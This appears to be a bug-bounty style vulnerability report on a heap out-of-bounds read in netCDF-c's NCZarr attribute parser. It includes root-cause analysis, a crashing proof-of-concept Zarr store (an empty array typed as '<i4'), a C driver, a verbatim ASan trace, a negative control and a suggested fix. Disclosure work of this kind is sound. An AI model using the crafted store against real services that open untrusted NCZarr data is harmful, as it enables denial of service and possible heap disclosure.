YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
NCZarr heap-buffer-overflow READ in ncz_read_atts() via empty-array _nczarr_default_maxstrlen root-group attribute typed as fixed-size int
Summary
A heap-buffer-overflow READ of 4 bytes occurs in netCDF-c's NCZarr backend when
opening a maliciously-crafted Zarr v2 store. The bug is reached eagerly at
nc_open time because the root group's attributes are parsed during
ncz_open_file(). No variables and no data payload are required โ two tiny JSON
files (.zgroup, .zattrs) trigger it.
- Target: Unidata/netcdf-c
- Commit:
c91c55d8fbcd64837d0dbc2f494aed2e0455b391(2026-07-09),main - Component:
libnczarr(NCZarr) attribute parsing - Crash type: heap-buffer-overflow (READ, size 4) โ CWE-125 Out-of-bounds Read
- Build:
clang -fsanitize=address, Debug libnetcdf,-DNETCDF_ENABLE_NCZARR=ON -DNETCDF_ENABLE_HDF5=OFF - Trigger surface:
nc_open()on an attacker-supplied NCZarr store (mode=nczarr,file)
Root cause
In libnczarr/zsync.c, ncz_read_atts() special-cases two reserved-ish, non-hidden
attributes: _nczarr_maxstrlen (per-variable) and _nczarr_default_maxstrlen
(root group). For each, it unconditionally dereferences the first element of the
attribute's data buffer, guarded only by a type-tag check (NC_INT):
/* libnczarr/zsync.c โ inside ncz_read_atts() */
if((stat = computeattrinfo(aname,jtypes,typehint,purezarr,value,
&typeid,&typelen,&len,&data)))
goto done;
if((stat = ncz_makeattr(container,attlist,aname,typeid,len,data,&att))) /* :1292 */
goto done;
...
if(ismaxstrlen && att->nc_typeid == NC_INT)
zvar->maxstrlen = ((int*)att->data)[0]; /* :1300 (var path) */
if(isdfaltmaxstrlen && att->nc_typeid == NC_INT)
zinfo->default_maxstrlen = ((int*)att->data)[0]; /* :1302 (root-group path, crash) */
The attribute's declared type comes from the attacker-controlled
_nczarr_attr.types dict ("<i4" = NC_INT), while its length and value come
from the separate .zattrs JSON value. The two are never reconciled.
If the JSON value is an empty array [] while the type is declared "<i4",
the pipeline computeattrinfo() -> computeattrdata() -> zconvert() produces an
attribute with len == 0 and a zero-sized data buffer. ncz_makeattr()
(libnczarr/zattr.c:1023) then calls malloc(len * typesize) = malloc(0), which
under ASan returns a 1-byte region. The subsequent ((int*)att->data)[0] reads 4
bytes out of that 0/1-byte allocation.
Neither the element count (len == 0) nor the buffer size is checked before the
dereference. Only the type tag is validated, and the type tag is exactly the field
the attacker controls independently of the array length.
The _nczarr_default_maxstrlen variant (line 1302) is the more serious of the two
because it is reached at open time for the root group: ncz_open_file()
(libnczarr/zopen.c:111) reads the root group's attributes before any user action.
Proof of Concept
A minimal NCZarr store โ two files, no variables, no chunks (store_bug/):
store_bug/.zgroup:
{"zarr_format": 2}
store_bug/.zattrs:
{"_nczarr_group": {"dimensions": {}, "arrays": [], "groups": []}, "_nczarr_superblock": {"version": "2.0.0"}, "_nczarr_default_maxstrlen": [], "_nczarr_attr": {"types": {"_nczarr_group": "|J0", "_nczarr_superblock": "|J0", "_nczarr_attr": "|J0", "_nczarr_default_maxstrlen": "<i4"}}}
The empty array [] combined with the declared type "<i4" for
_nczarr_default_maxstrlen is the entire trigger.
Driver (readnc.c, included):
#include <stdio.h>
#include "netcdf.h"
int main(int argc, char **argv) {
char url[4096];
snprintf(url,sizeof(url),"file://%s#mode=nczarr,file",argv[1]);
int ncid;
int st = nc_open(url, NC_NOWRITE, &ncid);
printf("nc_open(%s) -> %d (%s)\n", url, st, nc_strerror(st));
if (st) return 1;
nc_close(ncid);
printf("OK closed\n");
return 0;
}
Run:
./readnc /abs/path/to/store_bug
Captured evidence (verbatim ASan report)
==296849==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b25581e1410 at pc 0x557257bdd570 bp 0x7ffc3a0dfb50 sp 0x7ffc3a0dfb48
READ of size 4 at 0x7b25581e1410 thread T0
#0 0x557257bdd56f in ncz_read_atts /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1302
#1 0x557257bd712b in ncz_open_file /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:111
#2 0x557257bd6c6a in NCZ_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:184
#3 0x557257bc3368 in NC_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:2258
#4 0x557257bc2a04 in nc_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:696
#5 0x557257bc1a04 in main ../poc/readnc.c:8
0x7b25581e1411 is located 0 bytes after 1-byte region [0x7b25581e1410,0x7b25581e1411)
allocated by thread T0 here:
#0 0x7f055932435f in malloc
#1 0x557257cc2a85 in ncz_makeattr /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zattr.c:1023
#2 0x557257bdd22d in ncz_read_atts /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1292
#3 0x557257bd712b in ncz_open_file /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:111
#4 0x557257bd6c6a in NCZ_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:184
#5 0x557257bc3368 in NC_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:2258
#6 0x557257bc2a04 in nc_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:696
#7 0x557257bc1a04 in main ../poc/readnc.c:8
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1302 in ncz_read_atts
(Full report with shadow-byte dump: ASAN_default_maxstrlen_heap_oob.txt.)
Negative control
An identical store, differing only in the single JSON value
_nczarr_default_maxstrlen, opens cleanly (store_neg/):
store_neg/.zattrs uses "_nczarr_default_maxstrlen": [10] (one valid int) instead
of []. The only differing byte-content between the two stores is [] vs [10],
isolating the defect precisely to the empty-array / declared-type mismatch.
nc_open(file:///.../maxstrlen_bug/store_neg#mode=nczarr,file) -> 0 (No error)
OK closed
No ASan report; nc_open returns 0.
Impact
Opening an untrusted NCZarr store (a directory tree, zip, or S3 object that any tool
built on netCDF-c may nc_open) triggers an out-of-bounds heap read at open time,
before any application logic runs. Consequences range from a crash / denial of
service to potential information disclosure of adjacent heap contents into
default_maxstrlen, which subsequently influences string-length handling.
Suggested fix
Before dereferencing att->data[0], require the attribute to actually contain at
least one element, e.g. gate both the _nczarr_maxstrlen (line 1300) and
_nczarr_default_maxstrlen (line 1302) reads on att->len >= 1 (equivalently
len >= 1) in addition to the existing nc_typeid == NC_INT check, and reconcile
the declared _nczarr_attr.types type against the actual parsed value length.
Repository contents
README.md this file
store_bug/.zgroup {"zarr_format": 2}
store_bug/.zattrs crashing store (empty array [] + type "<i4")
store_neg/.zgroup {"zarr_format": 2}
store_neg/.zattrs negative control ([10] + type "<i4"), opens cleanly
readnc.c 3-line nc_open driver
ASAN_default_maxstrlen_heap_oob.txt full verbatim ASan report incl. shadow bytes
Dedup / novelty note
Distinct from all prior filed netCDF-c findings:
- Prior bugs are WRITE overflows in
define_var1()(scalar-shape, chunks stack-overflow, dimref heap-OOB viadecodeints/parsedimrefs) or in the NC3/classic attribute-array path (nc3-getatt-oob-read,attrarray-overflow). - This is a READ overflow on the attribute (not variable) parsing path, in a
different function (
ncz_read_atts), at a different line (zsync.c:1302), with a different root cause (declared-type vs. value-length mismatch on the reserved_nczarr_default_maxstrlenroot-group attribute). - Not covered by any existing
huntr-poc-netcdf-*/*nczarr*artifact (scalar-shape, chunks-stack-overflow, dimref-heap-oob, nc3-getatt-oob-read, attrarray-overflow).
No public CVE currently maps to ncz_read_atts / _nczarr_default_maxstrlen
empty-array handling at time of writing.